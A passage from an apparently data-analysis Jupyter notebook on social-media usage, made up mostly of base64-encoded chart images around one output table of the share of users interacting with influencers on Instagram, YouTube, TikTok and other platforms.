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" + } + }, + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Instagram users by age and gender \n", + "![image.png](attachment:image.png)" + ] + }, + { + "cell_type": "code", + "execution_count": 20, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Users interacting with influencers on Instagram, vs other social channels(in %):\n", + "_________________________________________________________________________________________________________________________\n", + " Influencer_platform Percentage_of_users(%)\n", + "0 Instagram 37\n", + "1 YouTube 47\n", + "2 Pinterest 17\n", + "3 Snapchat 15\n", + "4 TikTok 14\n", + "5 Twitch 8\n", + "6 Triller 2\n" + ] + }, + { + "data": { + "image/png": "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